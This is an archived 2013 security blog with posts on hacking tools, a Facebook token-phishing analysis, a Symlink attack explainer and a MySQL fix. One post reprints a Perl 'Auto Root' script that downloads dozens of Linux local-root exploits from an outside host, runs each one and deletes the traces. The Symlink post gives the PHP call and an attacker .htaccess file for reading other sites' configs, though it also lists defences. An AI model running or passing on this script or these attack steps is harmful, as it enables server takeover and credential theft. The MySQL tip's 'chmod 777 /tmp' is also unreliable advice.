Aug 17, 2013

Tools: Fuzzdb fuzzer for

fuzzdb aggregates known attack patterns, predictable resource names, server response messages, and other resources like web shells into the most comprehensive Open Source database of malicious and malformed input test cases.  

Source: http://code.google.com/p/fuzzdb/


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: mitm_alert.py [Script for detect Man-In-The-Middle]

This is a proof of concept tool written for Mac OS X in Python. 
It will alert a user if a MITM attack is in progress.
 
 
Source: http://code.google.com/p/subterfuge/downloads/detail?name=mitm_alert.py



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: ZMap [capable of performing a complete scan of the IPv4 address space in under 45 minutes]

ZMap is an open-source network scanner that enables researchers to easily perform Internet-wide network studies. With a single machine and a well provisioned network uplink, ZMap is capable of performing a complete scan of the IPv4 address space in under 45 minutes, approaching the theoretical limit of gigabit Ethernet.

ZMap can be used to study protocol adoption over time, monitor service availability, and help us better understand large systems distributed across the Internet.



UDP probe-module to allow custom payloads.
Examples:

  • zmap -M udp -p 137 --probe-args=file:examples/udp-probes/netbios_137.pkt
  • zmap -M udp -p 1434 --probe-args=hex:02
  • zmap -M udp -p 5632 --probe-args=text:NQ

Source:
 https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_durumeric.pdf
 https://zmap.io/
 https://github.com/zmap/zmap/pull/2


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Aug 15, 2013

Howto: unknown table engine 'innodb' mysql

If you found the error log like this,"
130715 15:54:57 [ERROR] Plugin 'InnoDB' init function returned error.
130715 15:54:57 [ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed.



You can solve this problem with this step.

1. Edit /etc/my.cnf ,

2. Add tmpdir=/tmp in the [mysqld] section, and save

3. Delete 'ib_logfile0', 'ib_logfile1' in /var/lib/mysql/

4. Change permission of /tmp
chmod 777 /tmp

5. Restart mysqld
/etc/init.d/mysqld restart

Done. :)

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: PHPmap - Exploitation of the PHP eval() function

Exploitation of the PHP eval() function where user input is passed


Source: https://github.com/levle/PHPmap

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Aug 14, 2013

What if your wordpress get hacked?[Infographic]

Source: http://startbloggingonline.com/what-if-your-wordpress-gets-hacked-infographic/


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Joomla Exploit Report By Versafe


Executive Summary
Versafe helps organizations protect their online users from the spectrum of
online threats including malware, MITB, zero-day exploits, phishing attacks,
and more. The Versafe Security Operations Center, an experienced team of
researchers who work 24x7x365 to provide quick, efficient response to the
latest online threats, recently discovered a vulnerability that puts websites
hosted on the Joomla content management system at particular risk of
being hijacked for use in malware payload and phishing attacks.
A forensics investigation of the sites involved to-date revealed a zero-day attack
that was found in the wild – which enables an attacker to gain full control over
the compromised system – causing over 1 million Joomla-based websites to
be readily susceptible to takeover. The exploit was detected by Versafe and its
TotALL Online Fraud Protection Suite, as deployed via F5 Network’s BIG-IP
product suite.
This report offers insight into the nature of the exploit, providing a step-by-step
description of how attacks were initiated, from vulnerability assessment to server
takeover and malware deployment

Source: http://dl.dropboxusercontent.com/u/11000200/la.pdf


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Aug 13, 2013

CheatSheet: Nmap & Nessus Cheat Sheet


Source: scadahacker.com/library/Documents/Cheat_Sheets/Hacking - Nessus NMAP Commands.pdf

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: Auto Root linux server 2010-2011-2012


#!/usr/bin/perl
print "######################################################\n";
print "# Auto Rooting ******* For Linux #\n";
print "# Margu Local Root 2011 2012 For Linux #\n";
print "# Version: 1.0 #\n";
print "######################################################\n";
{
system("uname -a");
system("wget http://www.oco.cc/root/1-2");
system("chmod 777 1-2");
system("./1-2");
system("id");
system("wget http://www.oco.cc/root/1-3");
system("chmod 777 1-3");
system("./1-3");
system("id");
system("wget http://www.oco.cc/root/1-4");
system("chmod 777 1-4");
system("./1-4");
system("id");
system("wget http://www.oco.cc/root/2");
system("chmod 777 2");
system("./2");
system("id");
system("wget http://www.oco.cc/root/2-1");
system("chmod 777 2-1");
system("./2-1");
system("id");
system("wget http://www.oco.cc/root/2-6-32-46-2011");
system("chmod 777 2-6-32-46-2011");
system("./2-6-32-46-2011");
system("id");
system("wget http://www.oco.cc/root/2-6-37");
system("chmod 777 2-6-37");
system("./2-6-37");
system("id");
system("wget http://www.oco.cc/root/2.6.18-6-x86-2011");
system("chmod 777 2.6.18-6-x86-2011");
system("./2.6.18-6-x86-2011");
system("id");
system("wget http://www.oco.cc/root/2.6.18-164-2010");
system("chmod 777 2.6.18-164-2010");
system("./2.6.18-164-2010");
system("id");
system("wget http://www.oco.cc/root/2.6.18-194");
system("chmod 777 2.6.18-194");
system("./2.6.18-194");
system("id");
system("wget http://www.oco.cc/root/2.6.18-194.1-2010");
system("chmod 777 2.6.18-194.1-2010");
system("./2.6.18-194.1-2010");
system("id");
system("wget http://www.oco.cc/root/acid");
system("chmod 777 acid");
system("./acid");
system("id");
system("wget http://www.oco.cc/root/2.6.18-194.2-2010");
system("chmod 777 2.6.18-194.2-2010");
system("./2=2.6.18-194.2-2010");
system("id");
system("wget http://www.oco.cc/root/2.6.18-274-2011");
system("chmod 777 2.6.18-274-2011");
system("./2.6.18-274-2011");
system("id");
system("wget http://www.oco.cc/root/2.6.18-374.12.1.el5-2012");
system("chmod 777 2.6.18-374.12.1.el5-2012");
system("./2.6.18-374.12.1.el5-2012");
system("id");
system("wget http://www.oco.cc/root/2.6.28-2011");
system("chmod 777 2.6.28-2011");
system("./2.6.28-2011");
system("id");
system("wget http://www.oco.cc/root/2.6.32-46.1.BHsmp");
system("chmod 777 2.6.32-46.1.BHsmp");
system("./2.6.32-46.1.BHsmp");
system("id");
system("wget http://www.oco.cc/root/2.6.33");
system("chmod 777 2.6.33");
system("./2.6.33");
system("id");
system("wget http://www.oco.cc/root/2.6.33-2011");
system("chmod 777 2.6.33-2011");
system("./2.6.33-2011");
system("id");
system("wget http://www.oco.cc/root/2.6.34-2011Exploit1");
system("chmod 777 2.6.34-2011Exploit1");
system("./2.6.34-2011Exploit1");
system("id");
system("wget http://www.oco.cc/root/2.6.34-2011Exploit2");
system("chmod 777 2.6.34-2011Exploit2");
system("./2.6.34-2011Exploit2");
system("id");
system("wget http://www.oco.cc/root/2.6.37");
system("chmod 777 2.6.37");
system("./2.6.37");
system("id");
system("wget http://www.oco.cc/root/2.6.37-rc2");
system("chmod 777 2.6.37-rc2");
system("./2.6.37-rc2");
system("id");
system("wget http://www.oco.cc/root/2.34-2011Exploit1");
system("chmod 777 2.34-2011Exploit1");
system("./2.34-2011Exploit1");
system("id");
system("wget http://www.oco.cc/root/3");
system("chmod 777 3");
system("./3");
system("id");
system("wget http://www.oco.cc/root/4");
system("chmod 777 4");
system("./4");
system("id");
system("wget http://www.oco.cc/root/5");
system("chmod 777 5");
system("./5");
system("id");
system("wget http://www.oco.cc/root/6");
system("chmod 777 6");
system("./6");
system("id");
system("wget http://www.oco.cc/root/7");
system("chmod 777 7");
system("./7");
system("id");
system("wget http://www.oco.cc/root/7-2");
system("chmod 777 7-2");
system("./7-2");
system("id");
system("wget http://www.oco.cc/root/7x");
system("chmod 777 7x");
system("./7x");
system("id");
system("wget http://www.oco.cc/root/8");
system("chmod 777 8");
system("./8");
system("id");
system("wget http://www.oco.cc/root/9");
system("chmod 777 9");
system("./9");
system("id");
system("wget http://www.oco.cc/root/10");
system("chmod 777 10");
system("./10");
system("id");
system("wget http://www.oco.cc/root/11");
system("chmod 777 11");
system("./11");
system("id");
system("wget http://www.oco.cc/root/13x");
system("chmod 777 13x");
system("./13x");
system("id");
system("wget http://www.oco.cc/root/14");
system("chmod 777 14");
system("./14");
system("id");
system("wget http://www.oco.cc/root/15.sh");
system("chmod 777 15.sh");
system("./15.sh");
system("id");
system("wget http://www.oco.cc/root/16");
system("chmod 777 16");
system("./16");
system("id");
system("wget http://www.oco.cc/root/16-1");
system("chmod 777 16-1");
system("./16-1");
system("id");
system("wget http://www.oco.cc/root/18");
system("chmod 777 18");
system("./18");
system("id");
system("wget http://www.oco.cc/root/18-5");
system("chmod 777 18-5");
system("./18-5");
system("id");
system("wget http://www.oco.cc/root/31");
system("chmod 777 31");
system("./31");
system("id");
system("wget http://www.oco.cc/root/36-rc1");
system("chmod 777 36-rc1");
system("./36-rc1");
system("id");
system("wget http://www.oco.cc/root/44");
system("chmod 777 44");
system("./44");
system("id");
system("wget http://www.oco.cc/root/15150");
system("chmod 777 15150");
system("./15150");
system("id");
system("wget http://www.oco.cc/root/15200");
system("chmod 777 15200");
system("./15200");
system("id");
system("wget http://www.oco.cc/root/exp1");
system("chmod 777 exp1");
system("./exp1");
system("id");
system("wget http://www.oco.cc/root/exp2");
system("chmod 777 exp2");
system("./exp2");
system("id");
system("wget http://www.oco.cc/root/exp3");
system("chmod 777 exp3");
system("./exp3");
system("id");
system("wget http://www.oco.cc/root/exploit");
system("chmod 777 exploit");
system("./exploit");
system("id");
system("wget http://www.oco.cc/root/full-nelson");
system("chmod 777 full-nelson");
system("./full-nelson");
system("id");
system("wget http://www.oco.cc/root/gayros");
system("chmod 777 gayros");
system("./gayros");
system("id");
system("wget http://www.oco.cc/root/lenis.sh");
system("chmod 777 lenis.sh");
system("./lenis.sh");
system("id");
system("wget http://www.oco.cc/root/local-root-exploit-gayros");
system("chmod 777 local-root-exploit-gayros");
system("./local-root-exploit-gayros");
system("id");
system("wget http://www.oco.cc/root/pwnkernel");
system("chmod 777 pwnkernel");
system("./pwnkernel");
system("id");
system("wget http://www.oco.cc/root/root1");
system("chmod 777 root1");
system("./root1");
system("id");
system("wget http://www.oco.cc/root/root.py");
system("chmod 777 root.py");
system("./root.py");
system("id");
system("wget http://www.oco.cc/root/runx");
system("chmod 777 runx");
system("./runx");
system("id");
system("wget http://www.oco.cc/root/tivoli");
system("chmod 777 tivoli");
system("./tivoli");
system("id");
system("wget http://www.oco.cc/root/ubuntu");
system("chmod 777 ubuntu");
system("./ubuntu");
system("id");
system("wget http://www.oco.cc/root/vmsplice-local-root-exploit");
system("chmod 777 vmsplice-local-root-exploit");
system("./z1d-2011");
system("id");
system("wget http://www.oco.cc/root/z1d-2011");
system("chmod 777 z1d-2011");
system("./z1d-2011");
system("id");
system("whoami");
system("rm 1-2");
system("rm 1-3");
system("rm 1-4");
system("rm 2");
system("rm 2-1");
system("rm 2-6-32-46-2011");
system("rm 2-6-37");
system("rm 2.6.18-6-x86-2011");
system("rm 2.6.18-164-2010");
system("rm 2.6.18-194");
system("rm 2.6.18-194.1-2010");
system("rm acid");
system("rm 2.6.18-194.2-2010");
system("rm 2.6.18-274-2011");
system("rm 2.6.18-374.12.1.el5-2012");
system("rm 2.6.28-2011");
system("rm 2.6.32-46.1.BHsmp");
system("rm 2.6.33");
system("rm 2.6.33-2011");
system("rm 2.6.34-2011Exploit1");
system("rm 2.6.34-2011Exploit2");
system("rm 2.6.37");
system("rm 2.6.37-rc2");
system("rm 2.34-2011Exploit1");
system("rm 3");
system("rm 4");
system("rm 5");
system("rm 6");
system("rm 7");
system("rm 7-2");
system("rm 7x");
system("rm 8");
system("rm 9");
system("rm 10");
system("rm 11");
system("rm 13x");
system("rm 14");
system("rm 15.sh");
system("rm 16");
system("rm 16-1");
system("rm 18");
system("rm 18-5");
system("rm 31");
system("rm 36-rc1");
system("rm 44");
system("rm 15150");
system("rm 15200");
system("rm exp1");
system("rm exp2");
system("rm exp3");
system("rm exploit");
system("rm full-nelson");
system("rm gayros");
system("rm lenis.sh");
system("rm local-root-exploit-gayros");
system("rm pwnkernel");
system("rm root1");
system("rm root.py");
system("rm runx");
system("rm tivoli");
system("rm ubuntu");
system("rm vmsplice-local-root-exploit");
system("rm z1d-2011");
system("rm exploit.conf");
system("rm a.c");
print "######################################################\n";
print "# Auto Rooting ******* For Linux #\n";
print "# Margu Local Root 2011 2012 For Linux #\n";
print "# Version: 1.0 #\n";
print "######################################################\n";
print "                     :) \n";
}


Source: www.ilyas-cyber4rt.com/2013/04/auto-root-linux-server-2010-2011-2012.html


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Aug 12, 2013

Tools: HonSSH - SSH Honeypot

HonSSH is a high-interaction Honey Pot solution. HonSSH will sit between an attacker and a honey pot, creating two separate SSH connections between them

Source: https://code.google.com/p/honssh/


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

วิเคราะ Malware Facebook ที่ใช้วิธี Shorten URL + Unvalidated Redirect and Forward

เช้าวันนี้ผมได้เห็น post ของคนหลายๆคนที่ไล่โพสต์ไปใน Group ต่างๆเป็นรูปภาพเกี่ยวกับ video ในเรื่อง sex เพื่อดึงดูดคนเข้าไป ทีนี้สื่งที่ผมว่าน่าสนใจและอยากเขียนโพสต์นี้ขึ้นมาเพราะเทคนิคที่เค้าใช้นั่นก็คือ shorten URL + unvalidated redirect นั่นเอง ซึ่งเทคนิคอันหลังนั้นติด 1 ใน 10 การโจมตีของ OWASP 2013 ด้วย ทีนี้เรามาวิเคราะห์กันต่อว่า malware ตัวนี้ใช้หลักการที่ว่ายังไง

เริ่มต้นด้วยการดูจากข้อความที่เค้าไปแชร์ใน group ต่างๆของ Facebook จะมีหน้าตาประมาณนี้




ซึ่งจะเห็นว่าลิงค์ที่เค้า share มานั้น จะอยู่ในรูปแบบของ shorten URL อย่าง bitly.com ซึ่งเมื่อนำ URL ดังกล่าวไปขยายด้วย website อย่าง www.longurl.org จะเห็นว่าจริงๆแล้วเว็บไซด์ที่เราเข้าไปคือ
http://www.internostrum.com/tradurl.php?linkdesc=&valen=&direccio=es-ca&inurl=http://tinyurl.com/280444Al8y0  ซึ่งเหมือนจะให้เราเข้าไปที่ www.internostrum.com ซึ่งเป็นเว็บที่ปกติทั่วไป ไม่มีพิษมีภัยอะไร(ตรวจสอบด้วย Sophos Antivirus, URL Void และ virustotal.com) แต่ถ้าสังเกตุดีๆจะเห็นว่ามีการใส่ url ต่อท้ายเป็น "inurl=http://tinyurl.com/280444A18y0" จากจุดนี้เองที่ hacker ใช้มาหลอกเรา เพราะว่าเว็บไซด์ www.internostrum.com ดังกล่าวมี page ที่ใช้ในการ redirect user ไปยังเว็บไซด์อื่นโดยไม่มีการตรวจสอบ ดังนั้นเมื่อกดเข้ามาตาม link เราจะแวะเข้ามาที่เว็บไซด์ www.internostrum.com แล้วถูกนำไปเว็บไซด์ http://tinyurl.com/280444A18y0 ต่อทันที นั่นทำให้ URL ต่างๆที่ได้จากการขยาย URL แล้วจะออกมาในรูปแบบเป็น


http://www.internostrum.com/tradurl.php?linkdesc=&valen=&direccio=es-ca&inurl=http://xxxxxxxxxxx

ซึ่ง xxxxxxxxxxx ที่ว่าก็คือ shorten URL ที่จะนำพาเราไปสู่จุดหมายปลายทางจริงๆอีกทีนั่นเอง

จากการตรวจสอบพบว่า shorten URL ทั้งหมดนั้นจะนำพาเราไปยัง link เดียวกันทั้งหมดนั่นก็คือ http://nakedstudent.aws.af.cm//video.html โดยเมื่อเข้าไปยัง URL ดังกล่าวจะมีหน้าตาคล้ายๆกับ Facebook


 พอกดไปที่ video ก็จะนำเราไปที่เว็บไซด์ http://nackedstudent.blogspot.com/2013/08/first.html ซึ่งเป็นเว็บไซด์ที่ใช้หลอกเรานำ ***token ของ account เราให้อีกที

*** token ก็คือส่วนที่ใช้แทนคำอนุญาตจากเราที่เป็นเจ้าของ account facebook โดยเมื่อเราให้กับ application ใดๆก็แล้วแต่ ไม่ว่าจะเป็น game, instagram, foursquare หรืออื่นๆ ก็สามารถใช้สิทธิ์ของเราในการกระทำใดๆเปรียบเสมือนเป็นตัวเราได้ครับ เช่นการโพสต์หน้า wall เรา, การ share รูปภาพ หรือ link ผ่าน account facebook ของเราเป็นต้นครับ



 โดยเมื่อกดใน step#1 จะเป็นการเข้าไปที่ 
https://www.facebook.com/login.php?skip_api_login=1&api_key=6628568379&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fredirect_uri%3Dhttps%253A%252F%252Fwww.facebook.com%252Fconnect%252Flogin_success.html%253FPaparazzi2%26scope%3Demail%26response_type%3Dtoken%26client_id%3D6628568379%26ret%3Dlogin&cancel_uri=https%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html%3FPaparazzi2%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%23_%3D_&display=page 
การกด Activate ก็คือการยินยอมให้ application นั้นสามารถเข้าใช้งาน account เราได้นั่นเอง

วิธีการแก้ไข Malware ตัวนี้  
สรุปนะครับการจัดการ malware ตัวนี้คือ  
1. อย่า click link ใดๆที่เราคิดว่าไม่ใช่ลักษณะนิสัยปกติของเพื่อนเราเป็นอันขาด

2. หากเราติดตั้ง Facebook Application ตัวนี้ไปแล้วให้เข้าไปที่ Settings(รูปเฟือง) มุมขวาบน -> Privacy Settings



ไปที่ Apps

จากนั้นลบ Apps ที่แปลกๆทิ้งครับ

หรือง่ายกว่านั้นก็คือให้เข้าไปที่ https://www.facebook.com/settings?tab=blocking จากนั้นเลือก blocks Apps ที่เราไม่ต้องการหรือคิดว่าเป็น malware ได้เลยครับ

3. ไล่ลบทุกโพสต์ใน Group ต่างๆหรือ Wall 





เพิ่มเติมจากคุณ Phatham Loahavilai 
 4. Unactivate token โดยจากใน step#2 ในเว็บเพจของ Hacker จะพบ popup ขึ้นมา ให้เราทำการค้นหาค่าของตัวแปร access_token จนถึง & เช่น
view-source:https://www.facebook.com/connect/login_success.html?Paparazzi2#access_token=CAAAAAYsX7TsBABjWaR8PrKSAHyDwJRFlqWAB59OsvTVBgz7WZBYvo3Efd7ZBoDpFdplCHhQ5oM06SJ25OwAePcoTDJKjjbi8yY93BWoAEgFlvHabOCZC264qzxXVzl8mmd8NJAiLNVnwSA3IOZAu&expires_in=0
ให้เลือกมาเฉพาะ
access_token=CAAAAAYsX7TsBABjWaR8PrKSAHyDwJRFlqWAB59OsvTVBgz7WZBYvo3Efd7ZBoDpFdplCHhQ5oM06SJ25OwAePcoTDJKjjbi8yY93BWoAEgFlvHabOCZC264qzxXVzl8mmd8NJAiLNVnwSA3IOZAu&expires_in=0


 จากนั้นก็นำไป unactivate token โดยใช้ link 
https://api.facebook.com/restserver.php?method=auth.expireSession&format=json&access_token=

ให้เรานำค่าที่ได้ในตอนแรกไปต่อท้ายจะได้เป็น
https://api.facebook.com/restserver.php?method=auth.expireSession&format=json&access_token=CAAAAAYsX7TsBABjWaR8PrKSAHyDwJRFlqWAB59OsvTVBgz7WZBYvo3Efd7ZBoDpFdplCHhQ5oM06SJ25OwAePcoTDJKjjbi8yY93BWoAEgFlvHabOCZC264qzxXVzl8mmd8NJAiLNVnwSA3IOZAu



จากนั้นนำ URL ดังกล่าวไปเข้าผ่าน web browser อีกทีหนึ่งครับ ซึ่งก็จะทำให้ token ที่เราให้ไปก่อนหน้านี้(
access_token=CAAAAAYsX7TsBABjWaR8PrKSAHyDwJRFlqWAB59OsvTVBgz7WZBYvo3Efd7ZBoDpFdplCHhQ5oM06SJ25OwAePcoTDJKjjbi8yY93BWoAEgFlvHabOCZC264qzxXVzl8mmd8NJAiLNVnwSA3IOZAu&expires_in=0)ไม่สามารถนำไปใช้งานได้หรือหยุดการใช้งานนั่นเอง
 
จะเห็นว่าในการโจมตีปัจจุบันเริ่มมีการ ทำงานที่ซับซ้อนมากขึ้น การหลอกล่อที่ดูเนียนตามากขึ้น ดังนั้นสิ่งที่เราทำได้คือการมีตระหนักถึงความปลอดภัย(Security Awareness)ในการใช้งาน Internet หรือเว็บไซด์ต่างๆอยู่เสมอครับ


โปรดใช้วิจารณญาณในการใช้งาน Internet ครับ :)




If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

List Of Resource Exploit Website

http://buglist.io/search.php
http://www.1337day.com/
http://www.intelligentexploit.com/
http://packetstormsecurity.com/
http://www.exploit-db.com/
http://exploitsdownload.com/



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Aug 11, 2013

อธิบาย Symlink Attack

เกริ่นนำ
ในหลายต่อหลายครั้ง เรามักจะเห็นเว็บไซด์ต่างๆโดนแฮ็คแม้เว็บแอพพลิเคชั่น(web application)เหล่านั้นไม่มีช่องโหว่ใดๆเลย แล้วเว็บไซด์เหล่านั้นโดนแฮ็คได้อย่างไร อะไรคือสาเหตุกันแน่ ทำไมแฮ็คเกอร์ถึงสามารถแฮ็คเว็บไซด์ทีเดียวได้เป็น 10 - 100 ในเวลาไม่กี่นาที ทั้งๆที่เว็บไซด์เหล่านั้นแทบจะไม่มีช่องโหว่ใดๆเลย

เว็บแอพพลิเคชั่นหรือเว็บเซอร์เวอร์
ช่องโหว่ที่นำไปสู่การถูกแฮ็คของเว็บไซด์ไม่ใช่เพราะเว็บแอพพลิเคชั่นนั้นจริงๆ แต่เป็นเพราะเว็บโฮสติ้ง(web hosting)หรือเว็บเซอร์เวอร์(web server)ที่เรานำเว็บแอพพลิเคชั่นนั้นไปฝากไว้นั่นเอง ก่อนจะกล่าวต่อไปถึงช่องโหว่ดังกล่าว ขออธิบายความแตกต่างระหว่างเว็บแอพพลิเคชั่นกับเว็บเซอร์เวอร์ก่อน โดยเว็บเซอร์เวอร์นั้นมีหน้าที่คือการทำงานประมวลผลรับ Request จากผู้ใช้งานต่างๆในรูปแบบของ HTTP Protocol แล้วส่งต่อไปประมวลผลหรือทำตามสิ่งที่ผู้ใช้งานต้องการด้วยเว็บแอพพลิเคชั่นนั้นๆที่อยู่บนเว็บเซอร์นั่นเอง โดยเว็บแอพพลิเคชั่นก็จะนำไปประมวลผลต่างๆไม่ว่าจะเป็นการ query ข้อมูลจาก database, การรับภาพจากผู้ใช้งานไปเก็บไว้ในระบบ, การแสดงภาพต่างๆตามที่ผู้ใช้ร้องขอ เป็นต้น เมื่อเว็บแอพพลิเคชั่นทำการประมวลเสร็จแล้วส่งผลไปให้กับทางเว็บเซอร์เวอร์ จากนั้นเว็บเซอร์เวอร์ก็จะส่งผลลัพท์เหล่านั้นกลับไปให้ผู้ใช้งานที่ร้องขอในตอนแรกในรูปแบบของ HTTP Protocol อีกทีหนึ่ง

ทีนี้หลังจากที่เข้าใจในเรื่องของ web server && web application แล้วมาดูต่อว่าช่องโหว่บนเว็บเซอร์เวอร์ที่ว่านั้นคืออะไร

อยากจัดแบบเยอะๆในทีเดียว
โดยปกติแล้วการที่แฮ็คเกอร์จะเจาะเข้าไปในเว็บไซด์ทีละเยอะๆนั้นก็เพื่อสร้างชื่อเสียงของตนเอง เพื่อให้ได้การยอมรับจากแฮ็คเกอร์คนอื่น หรือเพื่อจะนำไปใช้ต่อได้เยอะๆ นั่นเอง แล้วทีนี้ทำยังไงล่ะในเมื่อเว็บไซด์แต่ละเว็บก็มีโครงสร้างแตกต่างกันไป บางที่อาจมีช่องโหว่ บางที่อาจไม่มีช่องโหว่ หรือก็อาจจะเจอ developer เขี้ยวๆที่ทำ secure coding เป็นอีก จะทำยังไงให้ได้เยอะๆล่ะ ก็มองไปถึงมุมมองว่าเว็บแอพพลิเคชั่นที่เจาะได้จะต้องอยู่บนเว็บเซอร์เวอร์ชัวร์ๆ และโดยปกติเว็บเซอร์เวอร์ทั่วไปที่ให้บริการอยู่ก็ไม่ได้รับฝากเว็บไซด์เพียงเว็บเดียวเป็นแน่ บางที่มีเป็น 10 บางที่มีเป็น 100 บางที่มีเป็น 500 ก็มี ในเมื่อเจาะเว็บไซด์หนึ่งได้ก็ลองเจาะเว็บเซอร์เวอร์ดูละกัน จะได้เข้าไปจัดการแก้ไขเว็บแอพพลิเคชั่นต่างๆที่อยู่บนเว็บเซอร์เวอร์ที่แฮ็คมาได้ต่อนั่นเอง

ทีนี้จะทำยังไงล่ะในเมื่อ user,password ที่แฮ็คเกอร์ได้มาถ้าเอามาใช้ FTP ก็เปิดให้เข้าถึงได้แค่พื้นที่ส่วนตัวของเว็บไซด์นั้นๆเท่านั้นเอง เราออกไปมากกว่านั้นไม่ได้ เช่น หากแฮ็คเว็บไซด์ www.example.com ได้ เวลา FTP เข้าไปก็อยู่แค่ที่ path /var/www/html/www.example.com/ ไม่สามารถออกไปที่ / ได้ การพยายามที่จะเข้าถึง path / นี่เองคือที่มาของการโจมตีที่เรียกว่า Symlink Attack

อะไรคือ Symlink Attack
Symlink ก็คือการสร้างส่วนที่คล้ายๆกับ Shortcut บน Windows ที่สร้างจุดวาป(link)ไปยังจุดหมายปลายทางนั่นเอง โดย link ดังกล่าวสามารถกำหนดปลายทางได้ว่าจะเป็น folder, file(ถ้าหากเป็นคนที่ใช้ linux ก็คงคุ้นเคยในชื่อของ ln command) ทีนี้สิ่งที่แฮ็คเกอร์ใช้ก็คือ php function ที่กระทำการสร้าง shotcut ดังกล่าวที่มีชื่อว่า symlink นั่นเอง

symlink("/","./shotcut");

จาก php command ตัวอย่างจะเป็นการสร้าง link ที่ชื่อว่า shortcut ขึ้นมา ไปยัง / นั่นเอง จากนั้นแฮ็คเกอร์ก็สร้าง .htaccess เพื่อการ overwrite php.ini ให้มีลักษณะการทำ option ใดๆก็ได้ แสดงผล .php, .conf, .sql , .log ในรูปแบบของ plain text  ซึ่งทำให้สามารถเราดูไฟล์นามสกุลดังกล่าวผ่าน web browser ได้เลย

Options all
DirectoryIndex Hacking_Page.html
AddType textplain .php
AddType textplain .conf
AddType textplain .sql
AddType textplain .log
AddHandler server-parsed .php
AddHandler txt .html
Require None
Satisfy Any


เมื่อเราเข้าไปใน shortcut ก็จะเป็นแสดงผลเป็นแบบ list directory ออกมา(เพราะใน path นั้นไม่มี Hacking_Page.html)



นั่นคือจากนี้ต่อไปเราสามารถเข้าไปใน path ต่างๆของเว็บเซอร์เวอร์ได้ และสามารถไปยัง path อื่นๆที่เก็บค่าของ conf ของเว็บไซด์ที่ถูกวางไว้บนเครื่องได้ ซึ่งการกระทำดังกล่าวทำให้แฮ็คเกอร์สามารถทราบ user,password ของเว็บไซด์อื่นๆได้นั่นเอง นั่นคือสาเหตุให้ทำไมเว็บไซด์ที่ไม่มีช่องโหว่กลับถูกโจมตีและเปลี่ยนหน้าเว็บไซด์ได้ครับ

ป้องกันยังไง
การป้องกันที่ง่ายที่สุดเลยก็ืคือเลิกการใช้ Symlink ไปเลยและกันไม่ให้มีการเปลี่ยนแปลงแก้ไขค่าใช้งานด้วยไฟล์ .htaccess โดยให้กำหนดเป็น

Options -FollowSymLinks
AllowOverride None

แต่หากจำเป็นต้องใช้จริงๆให้กำหนดใช้ SymLinksIfOwnerMatch แทนครับ

Options -FollowSymLinks +SymLinksIfOwnerMatch

โดย SymLinksIfOwnerMatch คือการจะอนุญาตให้สร้าง symlink ไปยังที่ user เดียวกันเท่านั้น ไม่สามารถสร้าง link ไปที่ / ได้(เพราะ owner ของ / คือ root นั่นเอง)

แต่เอาเข้าจริงยังไงหากเรากำหนดค่า permission ไม่ดี ก็สามารถเข้าไปยัง path ได้อยู่ดี ดังนั้นเว็บไซด์แต่ละเว็บไซด์ควรจะมี user แยกออกจากกัน ไม่ควรจะใช้ user ร่วมกันโดยเด็ดขาดครับ
*** หากใครใช้ cPanel ให้เข้าไปตาม link นี้ครับ จะคล้ายๆกับที่ผมบอกนี่แหล่ะครับ http://webhostingneeds.com/Prevent_SymLink_Attack_On_Cpanel_Server

สรุป
แฮ็คเกอร์ที่มักจะทำวิธีนี้มักจะเป็นแฮ็คเกอร์ที่ไม่สนใจในเรื่องของเงิน สนใจแต่การแฮ็คเพื่อชื่อเสียงเท่านั้น ทำให้ความรุนแรงนั้นมีไม่มากนัก แต่ก็อย่าชะล่าใจไป ไม่ว่ายังไงเราก็ควรพยายามจะควบคุมความเสี่ยงให้น้อยที่สุดเท่าที่เป็นไปได้ครับ ทีนี้จำเป็นมั้ยที่เราต้องย้อนกลับมาคิดถึงเว็บโฮสติ้งของเราบ้างแล้วว่ามันปลอดภัยพอมั้ย มีความเสี่ยงหรือเปล่า หลายๆองค์กรมักจะโฮสติ้งค์เว็บไซด์ไว้ภายนอก เพราะด้วยเหตุผลที่ว่าราคามันถูกและรวดเร็วในการนำเว็บไซด์ขึ้นมาใช้งานไม่จำเป็นต้องรอ process ภายในองค์กรสามารถทำเมื่อไหร่ก็ได้ แต่กลายเป็นเราต้องมาเสียแรงเสียเงินเสียเวลาเพิ่มเพื่อมาจัดการเว็บไซด์ของเราหลังจากเกิดปัญหาแบบนี้เกิดขึ้นหรือเปล่า ลองย้อนคิดๆดูกันให้ดีครับ สิ่งที่กล่าวไปทั้งหมดไม่ใช่เพื่ออะไร แต่เพื่อให้ท่าน admin เว็บไซด์ทั้งหลายไม่ต้องมาเหนื่อยในการหาสาเหตุหรือเสียชื่อเสียงโดยไม่จำเป็นครับ ฝากไปคิดกันให้ดีๆด้วยครับ

Security Or Disaster, you choose by yourself.



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |